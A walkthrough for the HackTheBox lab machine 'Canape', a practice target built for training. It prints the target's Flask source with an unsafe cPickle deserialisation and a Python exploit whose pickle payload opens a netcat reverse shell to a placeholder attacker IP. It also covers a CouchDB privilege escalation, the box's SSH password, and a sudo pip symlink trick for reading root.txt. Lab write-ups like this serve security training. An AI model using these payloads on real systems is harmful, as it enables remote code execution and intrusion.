Canape Box Writeup & Walkthrough – [HTB] – HackTheBox

Introduction

Canape is a machine on the HackTheBox.

Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests. It contains several challenges that are constantly updated.

This article will show how to hack Canape box and get user.txt and root.txt.

Canape

Collection

First, we scan the ports. (Same with other Boxes).

Canape ScanPorts

We found that only http port open. So, I think that the website must has security issue.

Hack the Canape Box

Get User.txt

Open the browser, and see the website.

Capane Website

Emmm…. So far, have no idea what I need to do. So, let enumerate the folder.

After we enumerate the website, we found that there is a .git folder. Now, we can get the website source code by using dvcs-ripper.

Then, we analyse the Git Log. And we found the “check” has security issue.

Capane GitLog

Develop Payload

This is __init__.py file source code:

<pre>import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
	return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
		outfile.write(char + quote)
		outfile.close()
	        success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()

As you can see, there is cPickle. Its a built-in python module that allows you to serialize & deserialize objects. Inside of the check function item = cPickle.loads(data)

This means that this code has RCE security issue.

We are using the following payload.

#! /usr/bin/env python
import requests, os, cPickle, re, hashlib

class shell(object):
def __init__(self):
self.reverse_ip = "YourIPAddress"
self.reverse_port = "YourPort"
def __reduce__(self):
return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" %(self.reverse_ip, self.reverse_port),))

character = "S'homer'\n"
quote = cPickle.dumps(shell())
if re.search('<strong>Success!</strong>', requests.post('http://10.10.10.70/submit', data={"character":character, "quote":quote}).text):
print 'Success'
p_id = hashlib.md5(character + quote).hexdigest()
print requests.post("http://10.10.10.70/check", data={"id":p_id}).text


Then, we use nc to listen local port. And use payload to get reverse shell.

Canape GetReverShell

Analyse Network

Now, we check netstat

There are 3 interesting ports. Port 65535, 5984 and 5986

After analysing, we can see port 65535 is for SSH. Port 5984 and 5986 is for CouchDB.

Get SSH Credential

First, we list all databases.

Canape ListDatabases

There are 6 databases. Then, we try to get passwords data.

Canape CouchDBFailed

However, we cannot access it. CouchDB has Remote Privilege Escalation issue. We can use this exploit. But, this database host locally. So, we have to run this exploit on the Canape server.

There are multiple ways to upload the exploit to the server. I host a simpleHTTP Server, then, download the exploit.

Canape Download Exploit

Then, we execute our exploit and get access to password database.

Canape GetAccess

Then, we list the tables.

Canape ListTables

Finally, we got the SSH password: 0B4jyA0xtytZi7esBNGp.

Canape SSH Password

Canape User.txt

Get Root.txt

Next, we need to work on priv esc.

First, check sudo and see what can we do.

Canape Sudo

Wow, we can run pip. There are two ways.
First, you can create a pip package, and this package read root.txt. I was using this way. But, after I hacked another box, I learned another way.

As you may know, pip can use -r option. -r option means that “Install from the given requirements file.” This means that it will read that file.

So, we create a soft link, the softlink is link to root.txt.

Canape Create SoftLink

Then, we run command, and use -r option. Once we use -r option, it will read the file, and install the package. And then, we got the hash.

Canape RootTxt

Summary

This box is little bit complicated, if you have no idea who to design a web exploit. This box took me around 4 hours. I spent most of time to create a pip package. However, I realised that there is an easy way. The difficulty should around 4.5/10.

There are other write ups of HackTheBox.